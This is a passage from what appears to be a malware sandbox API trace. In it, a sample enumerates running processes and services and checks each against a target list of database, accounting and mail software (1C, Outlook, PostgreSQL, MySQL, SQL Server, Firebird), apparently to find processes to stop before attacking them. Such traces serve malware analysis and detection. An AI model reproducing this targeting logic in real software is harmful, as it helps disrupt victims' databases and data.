th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.987] lstrlenW (lpString="svchost.exe") returned 11 [0242.987] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0242.987] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0242.987] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0242.987] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0242.988] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0242.988] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0242.988] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0242.988] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.988] lstrlenW (lpString="svchost.exe") returned 11 [0242.988] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0242.988] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0242.988] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0242.988] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0242.988] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0242.988] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0242.988] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0242.988] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x33c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.989] lstrlenW (lpString="svchost.exe") returned 11 [0242.989] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0242.989] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0242.989] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0242.989] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0242.989] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0242.989] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0242.989] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0242.989] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.989] lstrlenW (lpString="svchost.exe") returned 11 [0242.989] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0242.989] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0242.989] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0242.989] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0242.990] lstrlenW (lpString="audiodg.exe") returned 11 [0242.990] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.990] lstrlenW (lpString="svchost.exe") returned 11 [0242.990] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.991] lstrlenW (lpString="svchost.exe") returned 11 [0242.991] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0242.991] lstrlenW (lpString="userinit.exe") returned 12 [0242.991] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x33c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0242.992] lstrlenW (lpString="dwm.exe") returned 7 [0242.992] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0242.992] lstrlenW (lpString="explorer.exe") returned 12 [0242.992] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0242.992] lstrlenW (lpString="spoolsv.exe") returned 11 [0242.993] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0242.993] lstrlenW (lpString="taskhost.exe") returned 12 [0242.993] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0242.993] lstrlenW (lpString="svchost.exe") returned 11 [0242.993] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="uyuquk.exe")) returned 1 [0242.994] lstrlenW (lpString="uyuquk.exe") returned 10 [0242.994] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x548, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0242.994] lstrlenW (lpString="reader_sl.exe") returned 13 [0242.994] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0242.995] lstrlenW (lpString="dllhost.exe") returned 11 [0242.995] Process32NextW (in: hSnapshot=0x324, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0242.995] CloseHandle (hObject=0x324) returned 1 [0242.995] Sleep (dwMilliseconds=0x1f4) [0243.711] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42aec38 [0243.830] EnumServicesStatusExW (in: hSCManager=0x42aec38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 0 [0243.830] GetLastError () returned 0xea [0243.830] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xc9a) returned 0x4232878 [0243.830] EnumServicesStatusExW (in: hSCManager=0x42aec38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4232878, cbBufSize=0xc9a, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4232878, pcbBytesNeeded=0x221ff44, lpServicesReturned=0x221ff5c, lpResumeHandle=0x0) returned 1 [0243.830] CloseServiceHandle (hSCObject=0x42aec38) returned 1 [0243.831] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0243.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0243.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0243.831] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0243.831] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0243.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0243.831] lstrlenW (lpString="AudioSrv") returned 8 [0243.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0243.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0243.831] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0243.831] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0243.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0243.831] lstrlenW (lpString="BFE") returned 3 [0243.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0243.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0243.831] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0243.831] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0243.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0243.831] lstrlenW (lpString="CryptSvc") returned 8 [0243.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0243.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0243.831] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0243.831] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0243.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0243.831] lstrlenW (lpString="CscService") returned 10 [0243.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0243.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0243.832] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0243.832] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0243.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0243.832] lstrlenW (lpString="DcomLaunch") returned 10 [0243.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0243.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0243.832] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0243.832] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0243.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0243.832] lstrlenW (lpString="Dhcp") returned 4 [0243.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0243.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0243.832] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0243.832] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0243.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0243.832] lstrlenW (lpString="Dnscache") returned 8 [0243.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0243.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0243.832] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0243.832] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0243.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0243.832] lstrlenW (lpString="DPS") returned 3 [0243.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0243.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0243.832] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0243.832] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0243.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0243.832] lstrlenW (lpString="eventlog") returned 8 [0243.832] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0243.832] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0243.832] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0243.832] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0243.832] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0243.832] lstrlenW (lpString="EventSystem") returned 11 [0243.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0243.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0243.833] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0243.833] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0243.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0243.833] lstrlenW (lpString="gpsvc") returned 5 [0243.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0243.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0243.833] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0243.833] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0243.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0243.833] lstrlenW (lpString="LanmanWorkstation") returned 17 [0243.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0243.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0243.833] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0243.833] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0243.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0243.833] lstrlenW (lpString="lmhosts") returned 7 [0243.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0243.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0243.833] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0243.833] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0243.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0243.833] lstrlenW (lpString="MMCSS") returned 5 [0243.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0243.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0243.833] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0243.833] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0243.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0243.833] lstrlenW (lpString="MpsSvc") returned 6 [0243.833] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0243.833] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0243.833] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0243.833] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0243.833] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0243.834] lstrlenW (lpString="NlaSvc") returned 6 [0243.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0243.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0243.834] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0243.834] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0243.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0243.834] lstrlenW (lpString="nsi") returned 3 [0243.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0243.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0243.834] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0243.834] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0243.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0243.834] lstrlenW (lpString="PcaSvc") returned 6 [0243.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0243.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0243.834] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0243.834] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0243.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0243.834] lstrlenW (lpString="PlugPlay") returned 8 [0243.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0243.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0243.834] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0243.834] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0243.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0243.834] lstrlenW (lpString="Power") returned 5 [0243.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0243.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0243.834] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0243.834] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0243.834] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0243.834] lstrlenW (lpString="ProfSvc") returned 7 [0243.834] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0243.834] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0243.834] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0243.834] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0243.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0243.835] lstrlenW (lpString="RpcEptMapper") returned 12 [0243.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0243.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0243.835] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0243.835] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0243.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0243.835] lstrlenW (lpString="RpcSs") returned 5 [0243.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0243.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0243.835] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0243.835] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0243.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0243.835] lstrlenW (lpString="SamSs") returned 5 [0243.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0243.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0243.835] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0243.835] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0243.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0243.835] lstrlenW (lpString="Schedule") returned 8 [0243.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0243.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0243.835] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0243.835] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0243.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0243.835] lstrlenW (lpString="SENS") returned 4 [0243.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0243.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0243.835] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0243.835] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0243.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0243.835] lstrlenW (lpString="ShellHWDetection") returned 16 [0243.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0243.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0243.835] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0243.836] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0243.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0243.836] lstrlenW (lpString="Spooler") returned 7 [0243.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0243.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0243.836] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0243.836] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0243.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0243.836] lstrlenW (lpString="Themes") returned 6 [0243.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0243.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0243.836] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0243.836] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0243.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0243.836] lstrlenW (lpString="UxSms") returned 5 [0243.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0243.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0243.836] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0243.836] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0243.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0243.836] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x4232878 | out: hHeap=0x530000) returned 1 [0243.836] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x360 [0243.838] Process32FirstW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0243.838] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0243.839] lstrlenW (lpString="System") returned 6 [0243.839] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0243.839] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0243.839] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0243.839] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0243.839] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0243.839] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0243.839] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0243.839] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0243.840] lstrlenW (lpString="smss.exe") returned 8 [0243.840] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0243.840] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0243.840] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0243.840] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0243.840] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0243.840] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0243.840] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0243.840] Process32NextW (in: hSnapshot=0x360, lppe=0x221fd34 | out: lppe=0x221fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0243.840] lstrlenW (lpString="csrss.exe") returned 9 [0243.840] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0243.840] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0243.840] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0243.840] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0243.841] lstrcmpiW 